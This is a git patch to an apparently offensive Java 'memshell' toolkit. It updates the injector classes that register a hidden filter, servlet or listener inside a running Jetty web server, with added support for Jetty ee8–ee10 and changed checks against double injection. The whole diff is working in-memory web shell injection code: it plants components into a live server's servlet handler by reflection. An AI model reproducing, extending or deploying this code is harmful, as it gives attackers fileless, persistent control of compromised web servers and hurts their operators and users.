From b1ddec4713f3f34e5825c7ba5c4c02c9dc935751 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Mon, 12 May 2025 00:34:35 +0800 Subject: [PATCH] feat: support jetty ee8 ~ ee10 env --- .../injector/jetty/JettyFilterInjector.java | 45 ++++++++--------- .../injector/jetty/JettyListenerInjector.java | 2 + .../injector/jetty/JettyServletInjector.java | 49 ++++++++----------- 3 files changed, 43 insertions(+), 53 deletions(-) diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index b45c4e6b..da404d08 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -50,17 +50,32 @@ public class JettyFilterInjector { if (servletHandler == null) { return; } - if (isInjected(servletHandler)) { + if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { System.out.println("filter is already injected"); return; } + String[] classNames = new String[]{ + "org.eclipse.jetty.servlet.FilterHolder", + "org.eclipse.jetty.ee8.servlet.FilterHolder", + "org.eclipse.jetty.ee9.servlet.FilterHolder", + "org.eclipse.jetty.ee10.servlet.FilterHolder", + "org.mortbay.jetty.servlet.FilterHolder", + }; + Class filterHolderClass = null; - try { - filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder"); - } catch (ClassNotFoundException e) { - filterHolderClass = context.getClass().getClassLoader().loadClass("org.mortbay.jetty.servlet.FilterHolder"); + + for (String className : classNames) { + try { + filterHolderClass = context.getClass().getClassLoader().loadClass(className); + } catch (ClassNotFoundException ignored) { + } } + + if (filterHolderClass == null) { + throw new ClassNotFoundException("FilterHodler"); + } + Constructor constructor = filterHolderClass.getConstructor(Class.class); Object filterHolder = constructor.newInstance(filter.getClass()); invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); @@ -154,26 +169,6 @@ public class JettyFilterInjector { } } - public boolean isInjected(Object servletHandler) throws Exception { - Object filterMappings = getFieldValue(servletHandler, "_filterMappings"); - if (filterMappings == null) { - return false; - } - Object[] filterMaps = new Object[0]; - if (filterMappings instanceof List) { - filterMaps = ((List) filterMappings).toArray(); - } else if (filterMappings instanceof Object[]) { - filterMaps = (Object[]) filterMappings; - } - for (Object filterMap : filterMaps) { - Object filterName = getFieldValue(filterMap, "_filterName"); - if (filterName.equals(getClassName())) { - return true; - } - } - return false; - } - @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 4e1fc679..41d2405d 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -93,9 +93,11 @@ public class JettyListenerInjector { public static void inject(Object context, Object listener) throws Exception { if (isInjected(context, listener.getClass().getName())) { + System.out.println("listener is already injected"); return; } invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener}); + System.out.println("listener added successfully"); } @SuppressWarnings("unchecked") diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index 38028096..eecbfe27 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -6,7 +6,6 @@ import java.io.IOException; import java.lang.reflect.*; import java.util.ArrayList; import java.util.List; -import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -99,50 +98,44 @@ public class JettyServletInjector { public void inject(Object context, Object servlet) throws Exception { Object servletHandler = getFieldValue(context, "_servletHandler"); - // 1. 判断是否已经注入 - if (isInjected(servletHandler)) { + if (invokeMethod(servletHandler, "getServlet", new Class[]{String.class}, new Object[]{getClassName()}) != null) { System.out.println("servlet is already injected"); return; } ClassLoader classLoader = context.getClass().getClassLoader(); + String[] classNames = new String[]{ + "org.eclipse.jetty.servlet.ServletHolder", + "org.eclipse.jetty.ee8.servlet.ServletHolder", + "org.eclipse.jetty.ee9.servlet.ServletHolder", + "org.eclipse.jetty.ee10.servlet.ServletHolder", + "org.mortbay.jetty.servlet.ServletHolder", + }; + Class servletHolderClass = null; - try { - servletHolderClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletHolder"); - } catch (ClassNotFoundException e) { - servletHolderClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletHolder"); + + for (String className : classNames) { + try { + servletHolderClass = context.getClass().getClassLoader().loadClass(className); + } catch (ClassNotFoundException ignored) { + } } + + if (servletHolderClass == null) { + throw new ClassNotFoundException("ServletHodler"); + } + Constructor servletHolderConstructor = servletHolderClass.getDeclaredConstructor(); servletHolderConstructor.setAccessible(true); Object servletHolder = servletHolderConstructor.newInstance(); invokeMethod(servletHolder, "setServlet", new Class[]{getServletClass(classLoader)}, new Object[]{servlet}); invokeMethod(servletHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletHandler, "addServlet", new Class[]{servletHolderClass}, new Object[]{servletHolder}); - Class servletMappingClass = null; - try { - servletMappingClass = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); - } catch (ClassNotFoundException e) { - servletMappingClass = classLoader.loadClass("org.mortbay.jetty.servlet.ServletMapping"); - } - Constructor servletMappingConstructor = servletMappingClass.getDeclaredConstructor(); - servletMappingConstructor.setAccessible(true); - Object servletMapping = servletMappingConstructor.newInstance(); - invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()}); - invokeMethod(servletMapping, "setPathSpecs", new Class[]{String[].class}, new Object[]{new String[]{getUrlPattern()}}); - invokeMethod(servletHandler, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping}); + invokeMethod(servletHandler, "addServletWithMapping", new Class[]{servletHolderClass, String.class}, new Object[]{servletHolder, getUrlPattern()}); System.out.println("servlet inject successful"); } - @SuppressWarnings("unchecked") - public boolean isInjected(Object servletHandler) throws Exception { - Map servletNameMap = (Map) getFieldValue(servletHandler, "_servletNameMap"); - if (servletNameMap == null) { - return false; - } - return servletNameMap.containsKey(getClassName()); - } - @SuppressWarnings("all") public static byte[] decodeBase64(String base64Str) throws Exception {